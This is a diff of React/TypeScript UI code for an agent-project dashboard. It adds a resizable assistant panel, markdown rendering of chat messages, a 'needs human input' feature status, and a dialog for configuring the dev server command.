onChange={(e) => setInputValue(e.target.value)}
|
onChange={(e) => setInputValue(e.target.value)}
|
||||||
onKeyDown={handleKeyDown}
|
onKeyDown={handleKeyDown}
|
||||||
placeholder="Ask about the codebase..."
|
placeholder="Ask about the codebase..."
|
||||||
disabled={isLoading || isLoadingConversation || connectionStatus !== 'connected'}
|
disabled={isLoading || isLoadingConversation || connectionStatus !== 'connected' || !!currentQuestions}
|
||||||
className="flex-1 resize-none min-h-[44px] max-h-[120px]"
|
className="flex-1 resize-none min-h-[44px] max-h-[120px]"
|
||||||
rows={1}
|
rows={1}
|
||||||
/>
|
/>
|
||||||
<Button
|
<Button
|
||||||
onClick={handleSend}
|
onClick={handleSend}
|
||||||
disabled={!inputValue.trim() || isLoading || isLoadingConversation || connectionStatus !== 'connected'}
|
disabled={!inputValue.trim() || isLoading || isLoadingConversation || connectionStatus !== 'connected' || !!currentQuestions}
|
||||||
title="Send message"
|
title="Send message"
|
||||||
>
|
>
|
||||||
{isLoading ? (
|
{isLoading ? (
|
||||||
@@ -294,7 +307,7 @@ export function AssistantChat({
|
|||||||
</Button>
|
</Button>
|
||||||
</div>
|
</div>
|
||||||
<p className="text-xs text-muted-foreground mt-2">
|
<p className="text-xs text-muted-foreground mt-2">
|
||||||
Press Enter to send, Shift+Enter for new line
|
{currentQuestions ? 'Select an option above to continue' : 'Press Enter to send, Shift+Enter for new line'}
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -6,7 +6,7 @@
|
|||||||
* Manages conversation state with localStorage persistence.
|
* Manages conversation state with localStorage persistence.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
import { useState, useEffect, useCallback } from 'react'
|
import { useState, useEffect, useCallback, useRef } from 'react'
|
||||||
import { X, Bot } from 'lucide-react'
|
import { X, Bot } from 'lucide-react'
|
||||||
import { AssistantChat } from './AssistantChat'
|
import { AssistantChat } from './AssistantChat'
|
||||||
import { useConversation } from '../hooks/useConversations'
|
import { useConversation } from '../hooks/useConversations'
|
||||||
@@ -20,6 +20,10 @@ interface AssistantPanelProps {
|
|||||||
}
|
}
|
||||||
|
|
||||||
const STORAGE_KEY_PREFIX = 'assistant-conversation-'
|
const STORAGE_KEY_PREFIX = 'assistant-conversation-'
|
||||||
|
const WIDTH_STORAGE_KEY = 'assistant-panel-width'
|
||||||
|
const DEFAULT_WIDTH = 400
|
||||||
|
const MIN_WIDTH = 300
|
||||||
|
const MAX_WIDTH_VW = 90
|
||||||
|
|
||||||
function getStoredConversationId(projectName: string): number | null {
|
function getStoredConversationId(projectName: string): number | null {
|
||||||
try {
|
try {
|
||||||
@@ -100,6 +104,49 @@ export function AssistantPanel({ projectName, isOpen, onClose }: AssistantPanelP
|
|||||||
setConversationId(id)
|
setConversationId(id)
|
||||||
}, [])
|
}, [])
|
||||||
|
|
||||||
|
// Resizable panel width
|
||||||
|
const [panelWidth, setPanelWidth] = useState<number>(() => {
|
||||||
|
try {
|
||||||
|
const stored = localStorage.getItem(WIDTH_STORAGE_KEY)
|
||||||
|
if (stored) return Math.max(MIN_WIDTH, parseInt(stored, 10))
|
||||||
|
} catch { /* ignore */ }
|
||||||
|
return DEFAULT_WIDTH
|
||||||
|
})
|
||||||
|
const isResizing = useRef(false)
|
||||||
|
|
||||||
|
const handleMouseDown = useCallback((e: React.MouseEvent) => {
|
||||||
|
e.preventDefault()
|
||||||
|
isResizing.current = true
|
||||||
|
const startX = e.clientX
|
||||||
|
const startWidth = panelWidth
|
||||||
|
const maxWidth = window.innerWidth * (MAX_WIDTH_VW / 100)
|
||||||
|
|
||||||
|
const handleMouseMove = (e: MouseEvent) => {
|
||||||
|
if (!isResizing.current) return
|
||||||
|
const delta = startX - e.clientX
|
||||||
|
const newWidth = Math.min(maxWidth, Math.max(MIN_WIDTH, startWidth + delta))
|
||||||
|
setPanelWidth(newWidth)
|
||||||
|
}
|
||||||
|
|
||||||
|
const handleMouseUp = () => {
|
||||||
|
isResizing.current = false
|
||||||
|
document.removeEventListener('mousemove', handleMouseMove)
|
||||||
|
document.removeEventListener('mouseup', handleMouseUp)
|
||||||
|
document.body.style.cursor = ''
|
||||||
|
document.body.style.userSelect = ''
|
||||||
|
// Persist width
|
||||||
|
setPanelWidth((w) => {
|
||||||
|
localStorage.setItem(WIDTH_STORAGE_KEY, String(w))
|
||||||
|
return w
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
document.body.style.cursor = 'col-resize'
|
||||||
|
document.body.style.userSelect = 'none'
|
||||||
|
document.addEventListener('mousemove', handleMouseMove)
|
||||||
|
document.addEventListener('mouseup', handleMouseUp)
|
||||||
|
}, [panelWidth])
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<>
|
<>
|
||||||
{/* Backdrop - click to close */}
|
{/* Backdrop - click to close */}
|
||||||
@@ -115,17 +162,25 @@ export function AssistantPanel({ projectName, isOpen, onClose }: AssistantPanelP
|
|||||||
<div
|
<div
|
||||||
className={`
|
className={`
|
||||||
fixed right-0 top-0 bottom-0 z-50
|
fixed right-0 top-0 bottom-0 z-50
|
||||||
w-[400px] max-w-[90vw]
|
|
||||||
bg-card
|
bg-card
|
||||||
border-l border-border
|
border-l border-border
|
||||||
transform transition-transform duration-300 ease-out
|
transform transition-transform duration-300 ease-out
|
||||||
flex flex-col shadow-xl
|
flex flex-col shadow-xl
|
||||||
${isOpen ? 'translate-x-0' : 'translate-x-full'}
|
${isOpen ? 'translate-x-0' : 'translate-x-full'}
|
||||||
`}
|
`}
|
||||||
|
style={{ width: `${panelWidth}px`, maxWidth: `${MAX_WIDTH_VW}vw` }}
|
||||||
role="dialog"
|
role="dialog"
|
||||||
aria-label="Project Assistant"
|
aria-label="Project Assistant"
|
||||||
aria-hidden={!isOpen}
|
aria-hidden={!isOpen}
|
||||||
>
|
>
|
||||||
|
{/* Resize handle */}
|
||||||
|
<div
|
||||||
|
className="absolute left-0 top-0 bottom-0 w-1.5 cursor-col-resize z-10 group"
|
||||||
|
onMouseDown={handleMouseDown}
|
||||||
|
>
|
||||||
|
<div className="absolute inset-y-0 left-0 w-0.5 bg-border group-hover:bg-primary transition-colors" />
|
||||||
|
</div>
|
||||||
|
|
||||||
{/* Header */}
|
{/* Header */}
|
||||||
<div className="flex items-center justify-between px-4 py-3 border-b border-border bg-primary text-primary-foreground">
|
<div className="flex items-center justify-between px-4 py-3 border-b border-border bg-primary text-primary-foreground">
|
||||||
<div className="flex items-center gap-2">
|
<div className="flex items-center gap-2">
|
||||||
|
|||||||
@@ -7,6 +7,8 @@
|
|||||||
|
|
||||||
import { memo } from 'react'
|
import { memo } from 'react'
|
||||||
import { Bot, User, Info } from 'lucide-react'
|
import { Bot, User, Info } from 'lucide-react'
|
||||||
|
import ReactMarkdown, { type Components } from 'react-markdown'
|
||||||
|
import remarkGfm from 'remark-gfm'
|
||||||
import type { ChatMessage as ChatMessageType } from '../lib/types'
|
import type { ChatMessage as ChatMessageType } from '../lib/types'
|
||||||
import { Card } from '@/components/ui/card'
|
import { Card } from '@/components/ui/card'
|
||||||
|
|
||||||
@@ -14,8 +16,16 @@ interface ChatMessageProps {
|
|||||||
message: ChatMessageType
|
message: ChatMessageType
|
||||||
}
|
}
|
||||||
|
|
||||||
// Module-level regex to avoid recreating on each render
|
// Stable references for memo — avoids re-renders
|
||||||
const BOLD_REGEX = /\*\*(.*?)\*\*/g
|
const remarkPlugins = [remarkGfm]
|
||||||
|
|
||||||
|
const markdownComponents: Components = {
|
||||||
|
a: ({ children, href, ...props }) => (
|
||||||
|
<a href={href} target="_blank" rel="noopener noreferrer" {...props}>
|
||||||
|
{children}
|
||||||
|
</a>
|
||||||
|
),
|
||||||
|
}
|
||||||
|
|
||||||
export const ChatMessage = memo(function ChatMessage({ message }: ChatMessageProps) {
|
export const ChatMessage = memo(function ChatMessage({ message }: ChatMessageProps) {
|
||||||
const { role, content, attachments, timestamp, isStreaming } = message
|
const { role, content, attachments, timestamp, isStreaming } = message
|
||||||
@@ -86,39 +96,11 @@ export const ChatMessage = memo(function ChatMessage({ message }: ChatMessagePro
|
|||||||
)}
|
)}
|
||||||
|
|
||||||
<Card className={`${config.bgColor} px-4 py-3 border ${isStreaming ? 'animate-pulse' : ''}`}>
|
<Card className={`${config.bgColor} px-4 py-3 border ${isStreaming ? 'animate-pulse' : ''}`}>
|
||||||
{/* Parse content for basic markdown-like formatting */}
|
|
||||||
{content && (
|
{content && (
|
||||||
<div className={`whitespace-pre-wrap text-sm leading-relaxed ${config.textColor}`}>
|
<div className={`text-sm leading-relaxed ${config.textColor} chat-prose${role === 'user' ? ' chat-prose-user' : ''}`}>
|
||||||
{content.split('\n').map((line, i) => {
|
<ReactMarkdown remarkPlugins={remarkPlugins} components={markdownComponents}>
|
||||||
// Bold text - use module-level regex, reset lastIndex for each line
|
{content}
|
||||||
BOLD_REGEX.lastIndex = 0
|
</ReactMarkdown>
|
||||||
const parts = []
|
|
||||||
let lastIndex = 0
|
|
||||||
let match
|
|
||||||
|
|
||||||
while ((match = BOLD_REGEX.exec(line)) !== null) {
|
|
||||||
if (match.index > lastIndex) {
|
|
||||||
parts.push(line.slice(lastIndex, match.index))
|
|
||||||
}
|
|
||||||
parts.push(
|
|
||||||
<strong key={`bold-${i}-${match.index}`} className="font-bold">
|
|
||||||
{match[1]}
|
|
||||||
</strong>
|
|
||||||
)
|
|
||||||
lastIndex = match.index + match[0].length
|
|
||||||
}
|
|
||||||
|
|
||||||
if (lastIndex < line.length) {
|
|
||||||
parts.push(line.slice(lastIndex))
|
|
||||||
}
|
|
||||||
|
|
||||||
return (
|
|
||||||
<span key={i}>
|
|
||||||
{parts.length > 0 ? parts : line}
|
|
||||||
{i < content.split('\n').length - 1 && '\n'}
|
|
||||||
</span>
|
|
||||||
)
|
|
||||||
})}
|
|
||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
|
|
||||||
|
|||||||
@@ -15,7 +15,7 @@ import {
|
|||||||
Handle,
|
Handle,
|
||||||
} from '@xyflow/react'
|
} from '@xyflow/react'
|
||||||
import dagre from 'dagre'
|
import dagre from 'dagre'
|
||||||
import { CheckCircle2, Circle, Loader2, AlertTriangle, RefreshCw } from 'lucide-react'
|
import { CheckCircle2, Circle, Loader2, AlertTriangle, RefreshCw, UserCircle } from 'lucide-react'
|
||||||
import type { DependencyGraph as DependencyGraphData, GraphNode, ActiveAgent, AgentMascot, AgentState } from '../lib/types'
|
import type { DependencyGraph as DependencyGraphData, GraphNode, ActiveAgent, AgentMascot, AgentState } from '../lib/types'
|
||||||
import { AgentAvatar } from './AgentAvatar'
|
import { AgentAvatar } from './AgentAvatar'
|
||||||
import { Button } from '@/components/ui/button'
|
import { Button } from '@/components/ui/button'
|
||||||
@@ -93,18 +93,20 @@ class GraphErrorBoundary extends Component<ErrorBoundaryProps, ErrorBoundaryStat
|
|||||||
|
|
||||||
// Custom node component
|
// Custom node component
|
||||||
function FeatureNode({ data }: { data: GraphNode & { onClick?: () => void; agent?: NodeAgentInfo } }) {
|
function FeatureNode({ data }: { data: GraphNode & { onClick?: () => void; agent?: NodeAgentInfo } }) {
|
||||||
const statusColors = {
|
const statusColors: Record<string, string> = {
|
||||||
pending: 'bg-yellow-100 border-yellow-300 dark:bg-yellow-900/30 dark:border-yellow-700',
|
pending: 'bg-yellow-100 border-yellow-300 dark:bg-yellow-900/30 dark:border-yellow-700',
|
||||||
in_progress: 'bg-cyan-100 border-cyan-300 dark:bg-cyan-900/30 dark:border-cyan-700',
|
in_progress: 'bg-cyan-100 border-cyan-300 dark:bg-cyan-900/30 dark:border-cyan-700',
|
||||||
done: 'bg-green-100 border-green-300 dark:bg-green-900/30 dark:border-green-700',
|
done: 'bg-green-100 border-green-300 dark:bg-green-900/30 dark:border-green-700',
|
||||||
blocked: 'bg-red-50 border-red-300 dark:bg-red-900/20 dark:border-red-700',
|
blocked: 'bg-red-50 border-red-300 dark:bg-red-900/20 dark:border-red-700',
|
||||||
|
needs_human_input: 'bg-amber-100 border-amber-300 dark:bg-amber-900/30 dark:border-amber-700',
|
||||||
}
|
}
|
||||||
|
|
||||||
const textColors = {
|
const textColors: Record<string, string> = {
|
||||||
pending: 'text-yellow-900 dark:text-yellow-100',
|
pending: 'text-yellow-900 dark:text-yellow-100',
|
||||||
in_progress: 'text-cyan-900 dark:text-cyan-100',
|
in_progress: 'text-cyan-900 dark:text-cyan-100',
|
||||||
done: 'text-green-900 dark:text-green-100',
|
done: 'text-green-900 dark:text-green-100',
|
||||||
blocked: 'text-red-900 dark:text-red-100',
|
blocked: 'text-red-900 dark:text-red-100',
|
||||||
|
needs_human_input: 'text-amber-900 dark:text-amber-100',
|
||||||
}
|
}
|
||||||
|
|
||||||
const StatusIcon = () => {
|
const StatusIcon = () => {
|
||||||
@@ -115,6 +117,8 @@ function FeatureNode({ data }: { data: GraphNode & { onClick?: () => void; agent
|
|||||||
return <Loader2 size={16} className={`${textColors[data.status]} animate-spin`} />
|
return <Loader2 size={16} className={`${textColors[data.status]} animate-spin`} />
|
||||||
case 'blocked':
|
case 'blocked':
|
||||||
return <AlertTriangle size={16} className="text-destructive" />
|
return <AlertTriangle size={16} className="text-destructive" />
|
||||||
|
case 'needs_human_input':
|
||||||
|
return <UserCircle size={16} className={textColors[data.status]} />
|
||||||
default:
|
default:
|
||||||
return <Circle size={16} className={textColors[data.status]} />
|
return <Circle size={16} className={textColors[data.status]} />
|
||||||
}
|
}
|
||||||
@@ -323,6 +327,8 @@ function DependencyGraphInner({ graphData, onNodeClick, activeAgents = [] }: Dep
|
|||||||
return '#06b6d4' // cyan-500
|
return '#06b6d4' // cyan-500
|
||||||
case 'blocked':
|
case 'blocked':
|
||||||
return '#ef4444' // red-500
|
return '#ef4444' // red-500
|
||||||
|
case 'needs_human_input':
|
||||||
|
return '#f59e0b' // amber-500
|
||||||
default:
|
default:
|
||||||
return '#eab308' // yellow-500
|
return '#eab308' // yellow-500
|
||||||
}
|
}
|
||||||
|
|||||||
182
ui/src/components/DevServerConfigDialog.tsx
Normal file
182
ui/src/components/DevServerConfigDialog.tsx
Normal file
@@ -0,0 +1,182 @@
|
|||||||
|
import { useState, useEffect } from 'react'
|
||||||
|
import { Loader2, RotateCcw, Terminal } from 'lucide-react'
|
||||||
|
import { useQueryClient } from '@tanstack/react-query'
|
||||||
|
import {
|
||||||
|
Dialog,
|
||||||
|
DialogContent,
|
||||||
|
DialogDescription,
|
||||||
|
DialogFooter,
|
||||||
|
DialogHeader,
|
||||||
|
DialogTitle,
|
||||||
|
} from '@/components/ui/dialog'
|
||||||
|
import { Button } from '@/components/ui/button'
|
||||||
|
import { Input } from '@/components/ui/input'
|
||||||
|
import { Label } from '@/components/ui/label'
|
||||||
|
import { useDevServerConfig, useUpdateDevServerConfig } from '@/hooks/useProjects'
|
||||||
|
import { startDevServer } from '@/lib/api'
|
||||||
|
|
||||||
|
interface DevServerConfigDialogProps {
|
||||||
|
projectName: string
|
||||||
|
isOpen: boolean
|
||||||
|
onClose: () => void
|
||||||
|
autoStartOnSave?: boolean
|
||||||
|
}
|
||||||
|
|
||||||
|
export function DevServerConfigDialog({
|
||||||
|
projectName,
|
||||||
|
isOpen,
|
||||||
|
onClose,
|
||||||
|
autoStartOnSave = false,
|
||||||
|
}: DevServerConfigDialogProps) {
|
||||||
|
const { data: config } = useDevServerConfig(isOpen ? projectName : null)
|
||||||
|
const updateConfig = useUpdateDevServerConfig(projectName)
|
||||||
|
const queryClient = useQueryClient()
|
||||||
|
|
||||||
|
const [command, setCommand] = useState('')
|
||||||
|
const [error, setError] = useState<string | null>(null)
|
||||||
|
const [isSaving, setIsSaving] = useState(false)
|
||||||
|
|
||||||
|
// Sync input with config when dialog opens or config loads
|
||||||
|
useEffect(() => {
|
||||||
|
if (isOpen && config) {
|
||||||
|
setCommand(config.custom_command ?? config.effective_command ?? '')
|
||||||
|
setError(null)
|
||||||
|
}
|
||||||
|
}, [isOpen, config])
|
||||||
|
|
||||||
|
const hasCustomCommand = !!config?.custom_command
|
||||||
|
|
||||||
|
const handleSaveAndStart = async () => {
|
||||||
|
const trimmed = command.trim()
|
||||||
|
if (!trimmed) {
|
||||||
|
setError('Please enter a dev server command.')
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
setIsSaving(true)
|
||||||
|
setError(null)
|
||||||
|
|
||||||
|
try {
|
||||||
|
await updateConfig.mutateAsync(trimmed)
|
||||||
|
|
||||||
|
if (autoStartOnSave) {
|
||||||
|
await startDevServer(projectName)
|
||||||
|
queryClient.invalidateQueries({ queryKey: ['dev-server-status', projectName] })
|
||||||
|
}
|
||||||
|
|
||||||
|
onClose()
|
||||||
|
} catch (err) {
|
||||||
|
setError(err instanceof Error ? err.message : 'Failed to save configuration')
|
||||||
|
} finally {
|
||||||
|
setIsSaving(false)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const handleClear = async () => {
|
||||||
|
setIsSaving(true)
|
||||||
|
setError(null)
|
||||||
|
|
||||||
|
try {
|
||||||
|
await updateConfig.mutateAsync(null)
|
||||||
|
setCommand(config?.detected_command ?? '')
|
||||||
|
} catch (err) {
|
||||||
|
setError(err instanceof Error ? err.message : 'Failed to clear configuration')
|
||||||
|
} finally {
|
||||||
|
setIsSaving(false)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return (
|
||||||
|
<Dialog open={isOpen} onOpenChange={(open) => !open && onClose()}>
|
||||||
|
<DialogContent className="sm:max-w-lg">
|
||||||
|
<DialogHeader>
|
||||||
|
<div className="flex items-center gap-3">
|
||||||
|
<div className="p-2 rounded-lg bg-primary/10 text-primary">
|
||||||
|
<Terminal size={20} />
|
||||||
|
</div>
|
||||||
|
<DialogTitle>Dev Server Configuration</DialogTitle>
|
||||||
|
</div>
|
||||||
|
</DialogHeader>
|
||||||
|
|
||||||
|
<DialogDescription asChild>
|
||||||
|
<div className="space-y-4">
|
||||||
|
{/* Detection info */}
|
||||||
|
<div className="rounded-lg border-2 border-border bg-muted/50 p-3 text-sm">
|
||||||
|
{config?.detected_type ? (
|
||||||
|
<p>
|
||||||
|
Detected project type: <strong className="text-foreground">{config.detected_type}</strong>
|
||||||
|
{config.detected_command && (
|
||||||
|
<span className="text-muted-foreground"> — {config.detected_command}</span>
|
||||||
|
)}
|
||||||
|
</p>
|
||||||
|
) : (
|
||||||
|
<p className="text-muted-foreground">
|
||||||
|
No project type detected. Enter a custom command below.
|
||||||
|
</p>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* Command input */}
|
||||||
|
<div className="space-y-2">
|
||||||
|
<Label htmlFor="dev-command" className="text-foreground">Dev server command</Label>
|
||||||
|
<Input
|
||||||
|
id="dev-command"
|
||||||
|
value={command}
|
||||||
|
onChange={(e) => {
|
||||||
|
setCommand(e.target.value)
|
||||||
|
setError(null)
|
||||||
|
}}
|
||||||
|
placeholder="npm run dev"
|
||||||
|
onKeyDown={(e) => {
|
||||||
|
if (e.key === 'Enter' && !isSaving) {
|
||||||
|
handleSaveAndStart()
|
||||||
|
}
|
||||||
|
}}
|
||||||
|
/>
|
||||||
|
<p className="text-xs text-muted-foreground">
|
||||||
|
Allowed runners: npm, npx, pnpm, yarn, python, uvicorn, flask, poetry, cargo, go
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* Clear custom command button */}
|
||||||
|
{hasCustomCommand && (
|
||||||
|
<Button
|
||||||
|
variant="outline"
|
||||||
|
size="sm"
|
||||||
|
onClick={handleClear}
|
||||||
|
disabled={isSaving}
|
||||||
|
className="gap-1.5"
|
||||||
|
>
|
||||||
|
<RotateCcw size={14} />
|
||||||
|
Clear custom command (use auto-detection)
|
||||||
|
</Button>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{/* Error display */}
|
||||||
|
{error && (
|
||||||
|
<p className="text-sm font-mono text-destructive">{error}</p>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
</DialogDescription>
|
||||||
|
|
||||||
|
<DialogFooter className="gap-2 sm:gap-0">
|
||||||
|
<Button variant="outline" onClick={onClose} disabled={isSaving}>
|
||||||
|
Cancel
|
||||||
|
</Button>
|
||||||
|
<Button onClick={handleSaveAndStart} disabled={isSaving}>
|
||||||
|
{isSaving ? (
|
||||||
|
<>
|
||||||
|
<Loader2 size={16} className="animate-spin mr-1.5" />
|
||||||
|
Saving...
|
||||||
|
</>
|
||||||
|
) : autoStartOnSave ? (
|
||||||
|
'Save & Start'
|
||||||
|
) : (
|
||||||
|
'Save'
|
||||||
|
)}
|
||||||
|
</Button>
|
||||||
|
</DialogFooter>
|
||||||
|
</DialogContent>
|
||||||
|
</Dialog>
|
||||||
|
)
|
||||||
|
}
|
||||||
@@ -1,8 +1,10 @@
|
|||||||
import { Globe, Square, Loader2, ExternalLink, AlertTriangle } from 'lucide-react'
|
import { useState } from 'react'
|
||||||
|
import { Globe, Square, Loader2, ExternalLink, AlertTriangle, Settings2 } from 'lucide-react'
|
||||||
import { useMutation, useQueryClient } from '@tanstack/react-query'
|
import { useMutation, useQueryClient } from '@tanstack/react-query'
|
||||||
import type { DevServerStatus } from '../lib/types'
|
import type { DevServerStatus } from '../lib/types'
|
||||||
import { startDevServer, stopDevServer } from '../lib/api'
|
import { startDevServer, stopDevServer } from '../lib/api'
|
||||||
import { Button } from '@/components/ui/button'
|
import { Button } from '@/components/ui/button'
|
||||||
|
import { DevServerConfigDialog } from './DevServerConfigDialog'
|
||||||
|
|
||||||
// Re-export DevServerStatus from lib/types for consumers that import from here
|
// Re-export DevServerStatus from lib/types for consumers that import from here
|
||||||
export type { DevServerStatus }
|
export type { DevServerStatus }
|
||||||
@@ -59,17 +61,27 @@ interface DevServerControlProps {
|
|||||||
* - Shows loading state during operations
|
* - Shows loading state during operations
|
||||||
* - Displays clickable URL when server is running
|
* - Displays clickable URL when server is running
|
||||||
* - Uses neobrutalism design with cyan accent when running
|
* - Uses neobrutalism design with cyan accent when running
|
||||||
|
* - Config dialog for setting custom dev commands
|
||||||
*/
|
*/
|
||||||
export function DevServerControl({ projectName, status, url }: DevServerControlProps) {
|
export function DevServerControl({ projectName, status, url }: DevServerControlProps) {
|
||||||
const startDevServerMutation = useStartDevServer(projectName)
|
const startDevServerMutation = useStartDevServer(projectName)
|
||||||
const stopDevServerMutation = useStopDevServer(projectName)
|
const stopDevServerMutation = useStopDevServer(projectName)
|
||||||
|
const [showConfigDialog, setShowConfigDialog] = useState(false)
|
||||||
|
const [autoStartOnSave, setAutoStartOnSave] = useState(false)
|
||||||
|
|
||||||
const isLoading = startDevServerMutation.isPending || stopDevServerMutation.isPending
|
const isLoading = startDevServerMutation.isPending || stopDevServerMutation.isPending
|
||||||
|
|
||||||
const handleStart = () => {
|
const handleStart = () => {
|
||||||
// Clear any previous errors before starting
|
// Clear any previous errors before starting
|
||||||
stopDevServerMutation.reset()
|
stopDevServerMutation.reset()
|
||||||
startDevServerMutation.mutate()
|
startDevServerMutation.mutate(undefined, {
|
||||||
|
onError: (err) => {
|
||||||
|
if (err.message?.includes('No dev command available')) {
|
||||||
|
setAutoStartOnSave(true)
|
||||||
|
setShowConfigDialog(true)
|
||||||
|
}
|
||||||
|
},
|
||||||
|
})
|
||||||
}
|
}
|
||||||
const handleStop = () => {
|
const handleStop = () => {
|
||||||
// Clear any previous errors before stopping
|
// Clear any previous errors before stopping
|
||||||
@@ -77,6 +89,19 @@ export function DevServerControl({ projectName, status, url }: DevServerControlP
|
|||||||
stopDevServerMutation.mutate()
|
stopDevServerMutation.mutate()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const handleOpenConfig = () => {
|
||||||
|
setAutoStartOnSave(false)
|
||||||
|
setShowConfigDialog(true)
|
||||||
|
}
|
||||||
|
|
||||||
|
const handleCloseConfig = () => {
|
||||||
|
setShowConfigDialog(false)
|
||||||
|
// Clear the start error if config dialog was opened reactively
|
||||||
|
if (startDevServerMutation.error?.message?.includes('No dev command available')) {
|
||||||
|
startDevServerMutation.reset()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// Server is stopped when status is 'stopped' or 'crashed' (can restart)
|
// Server is stopped when status is 'stopped' or 'crashed' (can restart)
|
||||||
const isStopped = status === 'stopped' || status === 'crashed'
|
const isStopped = status === 'stopped' || status === 'crashed'
|
||||||
// Server is in a running state
|
// Server is in a running state
|
||||||
@@ -84,25 +109,40 @@ export function DevServerControl({ projectName, status, url }: DevServerControlP
|
|||||||
// Server has crashed
|
// Server has crashed
|
||||||
const isCrashed = status === 'crashed'
|
const isCrashed = status === 'crashed'
|
||||||
|
|
||||||
|
// Hide inline error when config dialog is handling it
|
||||||
|
const startError = startDevServerMutation.error
|
||||||
|
const showInlineError = startError && !startError.message?.includes('No dev command available')
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<div className="flex items-center gap-2">
|
<div className="flex items-center gap-2">
|
||||||
{isStopped ? (
|
{isStopped ? (
|
||||||
<Button
|
<>
|
||||||
onClick={handleStart}
|
<Button
|
||||||
disabled={isLoading}
|
onClick={handleStart}
|
||||||
variant={isCrashed ? "destructive" : "outline"}
|
disabled={isLoading}
|
||||||
size="sm"
|
variant={isCrashed ? "destructive" : "outline"}
|
||||||
title={isCrashed ? "Dev Server Crashed - Click to Restart" : "Start Dev Server"}
|
size="sm"
|
||||||
aria-label={isCrashed ? "Restart Dev Server (crashed)" : "Start Dev Server"}
|
title={isCrashed ? "Dev Server Crashed - Click to Restart" : "Start Dev Server"}
|
||||||
>
|
aria-label={isCrashed ? "Restart Dev Server (crashed)" : "Start Dev Server"}
|
||||||
{isLoading ? (
|
>
|
||||||
<Loader2 size={18} className="animate-spin" />
|
{isLoading ? (
|
||||||
) : isCrashed ? (
|
<Loader2 size={18} className="animate-spin" />
|
||||||
<AlertTriangle size={18} />
|
) : isCrashed ? (
|
||||||
) : (
|
<AlertTriangle size={18} />
|
||||||
<Globe size={18} />
|
) : (
|
||||||
)}
|
<Globe size={18} />
|
||||||
</Button>
|
)}
|
||||||
|
</Button>
|
||||||
|
<Button
|
||||||
|
onClick={handleOpenConfig}
|
||||||
|
variant="ghost"
|
||||||
|
size="sm"
|
||||||
|
title="Configure Dev Server"
|
||||||
|
aria-label="Configure Dev Server"
|
||||||
|
>
|
||||||
|
<Settings2 size={16} />
|
||||||
|
</Button>
|
||||||
|
</>
|
||||||
) : (
|
) : (
|
||||||
<Button
|
<Button
|
||||||
onClick={handleStop}
|
onClick={handleStop}
|
||||||
@@ -139,12 +179,20 @@ export function DevServerControl({ projectName, status, url }: DevServerControlP
|
|||||||
</Button>
|
</Button>
|
||||||
)}
|
)}
|
||||||
|
|
||||||
{/* Error display */}
|
{/* Error display (hide "no dev command" error when config dialog handles it) */}
|
||||||
{(startDevServerMutation.error || stopDevServerMutation.error) && (
|
{(showInlineError || stopDevServerMutation.error) && (
|
||||||
<span className="text-xs font-mono text-destructive ml-2">
|
<span className="text-xs font-mono text-destructive ml-2">
|
||||||
{String((startDevServerMutation.error || stopDevServerMutation.error)?.message || 'Operation failed')}
|
{String((showInlineError ? startError : stopDevServerMutation.error)?.message || 'Operation failed')}
|
||||||
</span>
|
</span>
|
||||||
)}
|
)}
|
||||||
|
|
||||||
|
{/* Dev Server Config Dialog */}
|
||||||
|
<DevServerConfigDialog
|
||||||
|
projectName={projectName}
|
||||||
|
isOpen={showConfigDialog}
|
||||||
|
onClose={handleCloseConfig}
|
||||||
|
autoStartOnSave={autoStartOnSave}
|
||||||
|
/>
|
||||||
</div>
|
</div>
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
import { CheckCircle2, Circle, Loader2, MessageCircle } from 'lucide-react'
|
import { CheckCircle2, Circle, Loader2, MessageCircle, UserCircle } from 'lucide-react'
|
||||||
import type { Feature, ActiveAgent } from '../lib/types'
|
import type { Feature, ActiveAgent } from '../lib/types'
|
||||||
import { DependencyBadge } from './DependencyBadge'
|
import { DependencyBadge } from './DependencyBadge'
|
||||||
import { AgentAvatar } from './AgentAvatar'
|
import { AgentAvatar } from './AgentAvatar'
|
||||||
@@ -45,7 +45,8 @@ export function FeatureCard({ feature, onClick, isInProgress, allFeatures = [],
|
|||||||
cursor-pointer transition-all hover:border-primary py-3
|
cursor-pointer transition-all hover:border-primary py-3
|
||||||
${isInProgress ? 'animate-pulse' : ''}
|
${isInProgress ? 'animate-pulse' : ''}
|
||||||
${feature.passes ? 'border-primary/50' : ''}
|
${feature.passes ? 'border-primary/50' : ''}
|
||||||
${isBlocked && !feature.passes ? 'border-destructive/50 opacity-80' : ''}
|
${feature.needs_human_input ? 'border-amber-500/50' : ''}
|
||||||
|
${isBlocked && !feature.passes && !feature.needs_human_input ? 'border-destructive/50 opacity-80' : ''}
|
||||||
${hasActiveAgent ? 'ring-2 ring-primary ring-offset-2' : ''}
|
${hasActiveAgent ? 'ring-2 ring-primary ring-offset-2' : ''}
|
||||||
`}
|
`}
|
||||||
>
|
>
|
||||||
@@ -105,6 +106,11 @@ export function FeatureCard({ feature, onClick, isInProgress, allFeatures = [],
|
|||||||
<CheckCircle2 size={16} className="text-primary" />
|
<CheckCircle2 size={16} className="text-primary" />
|
||||||
<span className="text-primary font-medium">Complete</span>
|
<span className="text-primary font-medium">Complete</span>
|
||||||
</>
|
</>
|
||||||
|
) : feature.needs_human_input ? (
|
||||||
|
<>
|
||||||
|
<UserCircle size={16} className="text-amber-500" />
|
||||||
|
<span className="text-amber-500 font-medium">Needs Your Input</span>
|
||||||
|
</>
|
||||||
) : isBlocked ? (
|
) : isBlocked ? (
|
||||||
<>
|
<>
|
